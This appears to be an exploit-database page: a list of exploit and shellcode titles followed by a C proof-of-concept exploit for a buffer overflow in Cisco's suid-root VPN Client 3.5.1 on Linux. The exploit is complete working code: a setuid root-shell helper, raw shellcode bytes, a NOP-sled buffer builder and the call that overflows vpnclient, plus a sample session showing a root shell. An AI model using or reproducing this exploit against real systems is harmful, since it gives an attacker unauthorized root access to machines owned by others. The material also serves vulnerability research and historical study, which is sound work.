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14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
92 lines
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3 KiB
C
92 lines
No EOL
3 KiB
C
// source: https://www.securityfocus.com/bid/5056/info
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The Cisco VPN Client software is used to establish Virtual Private Network (VPN) connections between client machines and a Cisco VPN Concentrator.
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A vulnerability has been reported in some versions of the VPN Client. If an oversized profile name is passed to the vpnclient binary, a buffer overflow condition may occur. As vpnclient runs suid root, exploitation of this vulnerability will grant a local attacker root access to the vulnerable system.
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This vulnerability affects the VPN Client version 3.5.1 for Linux, Solaris and Mac OS X. Windows clients are not believed to be vulnerable. Earlier versions of the VPN Client may share this vulnerability, although this has not been confirmed.
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/* buffer overflow for cisco's vpnclient for linux
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tested against the latest release: vpnclient-linux-3.5.1.Rel-k9.tar.gz
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to get this to properly work, you need to put the following code into
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xx.c, compile it (as xx), and place the executable into /tmp (to bypass
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tight PAM restrictions)
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#include <stdio.h>
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main() {
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setuid(0);
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execl("/bin/sh", "sh", NULL);
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}
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then compile this and run it. syntax is ./vpnclient <offset>
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tested under gentoo linux and debian:
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$ ls -la `which vpnclient`
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-rws--x--x 1 root root 160900 Apr 13 22:34 /usr/local/bin/vpnclient
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$ ./vpnKILLient
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addr: 0xbffffbac, offset: 0
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Cisco Systems VPN Client Version 3.5.1 (Rel)
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Copyright (C) 1998-2002 Cisco Systems, Inc. All Rights Reserved.
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Client Type(s): Linux
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Running on: Linux 2.4.17 #1 Sat Apr 13 21:53:52 EDT 2002 i686
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sh-2.05a# id
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uid=0(root) gid=100(users) groups=100(users),10(wheel)
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greetz: all of the angrypacket crew (of course)
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shok -> pheerable^2;
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vegac -> 31336++;
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when you get a chance, check out http://sec.angrypacket.com
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*/
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#include <stdio.h>
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#include <string.h>
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#include <unistd.h>
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#define NOP 0x90
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#define LEN 620 /* 520 to own eip */
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/* shellcode by vegac (setuid(0)->/tmp/xx) */
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/* wont work if your /tmp partition is mounted noexec or nosuid */
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char shell[]=
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"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
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"\x31\xc0\x50\x68\x2f\x2f\x78\x78"
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"\x68\x2f\x74\x6d\x70\x89\xe3\x31"
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"\xc0\x50\x89\xe2\x54\x89\xe1\xb0"
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"\x0b\xcd\x80\x00";
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unsigned long get_sp (void) {
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__asm__("mov %esp,%eax");
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}
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int main(int argc, char *argv[]) {
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int i, offset=0;
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long addr;
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char *buf, *ptr;
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if(argc > 1) offset = atoi(argv[1]);
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buf = (char *)malloc(sizeof(char) * LEN);
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bzero(buf, LEN);
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addr = get_sp() - offset;
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printf("addr: 0x%x, offset: %d\n", addr, offset);
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for(i = 0; i < LEN; i += 4) {
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*(long *)&buf[i] = addr;
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}
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for(i = 0; i < (LEN / 2); i++) {
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*(buf + i) = NOP;
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}
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ptr = buf + ((LEN / 2) - (strlen(shell) / 2));
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for(i = 0; i < strlen(shell); i++) {
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*(ptr++) = shell[i];
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}
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buf[LEN - 1] = '\0';
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execl("/usr/local/bin/vpnclient", "vpnclient", "connect", buf, 0);
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return(0);
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} |